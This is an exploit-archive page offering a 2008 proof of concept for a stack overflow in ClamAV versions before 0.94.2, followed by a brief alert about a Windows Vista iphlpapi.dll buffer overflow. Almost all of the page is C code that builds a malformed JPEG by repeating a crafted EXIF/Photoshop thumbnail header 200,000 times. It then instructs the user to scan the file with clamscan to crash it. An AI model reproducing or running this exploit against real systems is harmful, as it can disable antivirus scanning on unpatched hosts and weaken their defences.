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Details : ExploitAlert

  Topic : ClamAV < 0.94.2 (JPG File) Stack Overflow PoC
  ExploitAlert : 5234
  Milw0rm ID : 7330
  Credit : unknown
  Date : 4.12.2008

  Download

  Exploit Code :  

const char crashstr[] = "\xff\xd8" // jpg marker
"\xff\xed" // exif data
"\x00\x02" // length
"Photoshop 3.0\x00"
"8BIM"
"\x04\x0c" // thumbnail id
"\x00"
"\x01"
"\x01\x01\x01\x01"
"0123456789012345678912345678"; // skip over 28
bytes

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NR_ITER 200000

int main() {
FILE *fp;
int i;
fp = fopen("clamav-jpeg-crash.jpg", "w+");
if (!fp) {
printf("can't open/create file\n");
exit(0);
}
for (i = 0; i < NR_ITER; i++) {
fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/,
1,
fp);
}
fclose(fp);
printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
exit(0);
}



Alert

Microsoft VISTA TCP/IP stack buffer overflow

high- 2008-11-27

Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

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